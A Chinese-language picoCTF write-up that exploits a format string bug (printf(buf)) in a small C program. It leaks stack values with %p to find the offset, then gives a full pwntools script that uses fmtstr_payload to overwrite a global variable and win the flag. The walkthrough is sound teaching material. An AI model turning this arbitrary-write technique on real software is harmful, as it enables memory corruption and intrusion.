看到題目,知道這題不是要讀取 stack 的資料,而是要去寫 stack ,並且提示有告訴我們可以使用 pwntools。
hint 1:pwntools are very useful for this problem!
將題目給的檔案下載,會得到一個 .c 檔和一個 elf 檔案。
$ ls -l
-rw-rw-r-- 1 peggggy-picoctf peggggy-picoctf 16272 Mar 9 17:05 vuln
-rw-rw-r-- 1 peggggy-picoctf peggggy-picoctf 704 Mar 9 17:05 vuln.c
用 exiftool
查看 vuln 的詳細資料,知道 vuln 是 64 bits Little endian elf file。
$ exiftool vuln
ExifTool Version Number : 12.40
File Name : vuln
Directory : .
File Size : 16 KiB
File Modification Date/Time : 2024:03:09 17:05:48+00:00
File Access Date/Time : 2024:08:04 05:46:34+00:00
File Inode Change Date/Time : 2024:08:04 05:32:47+00:00
File Permissions : -rw-rw-r--
File Type : ELF executable
File Type Extension :
MIME Type : application/octet-stream
CPU Architecture : 64 bit
CPU Byte Order : Little endian
Object File Type : Executable file
CPU Type : AMD x86-64
連上題目給的 webshell,會得到以下 prompt,任意輸入,得到我們的輸入和 sus
的值。
$ nc rhea.picoctf.net 62757
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
12345
Here's your input: 12345
sus = 0x21737573
You can do better!
我們來檢視 .c 檔,看到當 sus == 0x67616c66
時,可以得到 flag.txt 的內容。
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
// Read in the flag
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}
想起題目給我們的提示,我們來查看 pwntools 中有甚麼可用的 function,發現可以使用 fmtstr_payload
修改 stack 的資料。
於是我們打算使用 fmtstr_payload
讓 sus
的值更改為 0x67616c66,所以我們要知道 (1) offset、(2) sus 的原位置、(3) sus 的目的位置。
這裡有 pwntools 的詳細資料:https://docs.pwntools.com/en/stable/fmtstr.html#pwnlib.fmtstr.fmtstr_payload
想要知道偏移量 ( offset ),我們要知道buf
開始的位置,因為程式最初和 stack 有互動的地方是在 scanf("%1024s", buf);
這行。
方法之一,可以輸入一串字串,然後查看字串會出現在第幾個位置的地址。假設我們輸入 8 個 a,查看 ascii code,在 16 進位下,a = 61,所以看哪個位置的地址是0x6161616161616161,就知道偏移量了,結果發現是在第14個位置,於是可以知道偏移量 = 14。
輸入 8 個 a 是因為 chall 是 64 bits elf file,一個 char 是一個 byte,8 個 a 就會等於 8 ( char ) * 8 ( bits ) = 64 bits
。
$ nc rhea.picoctf.net 64020
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
aaaaaaaa-%7$p-%8$p-%9$p-%10$p-%11$p-%12$p-%13$p-%14$p-%15$p-%16$p
Here's your input: aaaaaaaa-0x7f5f1ea824e8-0x9-0x7f5f1ea82de9-0x7f5f1e853098-0x7f5f1ea6f4d0-(nil)-0x7ffc84a4d6b0-0x6161616161616161-0x38252d702437252d-0x2d702439252d7024
sus = 0x21737573
You can do better!
方法 2 是用 pwntools 中的 FmStr(exec_fmt)
( 如下圖 ),便可以得到 offset。
剩下只要查看 sus
這個變數的地址在哪就好了,使用 readelf
,可以找到 sus
的位置在 0x0000000000404060。
$ readelf -s vuln | grep 'sus'
28: 0000000000404060 4 OBJECT GLOBAL DEFAULT 25 sus
於是可以寫出以下(檔名我將其設為 script.py)。其中 context.binary
如果不存在的話,需要自己設置架構 ( 這裡是 X86-64 ),
#!/usr/bin/env python3
from pwn import *
port = 63315
offset = 14
# set the related info of elf file to pwntools
context.log_level = "critical"
context.binary = ELF('./vuln')
# connet to webshell
p = remote('rhea.picoctf.net', port)
# set function so pwn can automate the process
def exec_fmt(payload):
p = remote('rhea.picoctf.net', port)
p.sendline(payload)
return p.recvall()
'''
# we can know the offset in the elf file
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
'''
# fmtstr_payload(offset, {address: value})
payload = fmtstr_payload(offset, {0x404060: 0x67616c66})
p.sendline(payload)
flag = p.recvall()
print("Flag: ", flag)
執行 script 檔案就可以得到 flag 了。
$ ./script.py
Flag: b"You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\nHere's your input: uc \x00 \x00aaaaba`@@\nI have NO clue how you did that, you must be a wizard. Here you go...\npicoCTF{f0rm47_57r?_f0rm47_m3m_e371fb20}"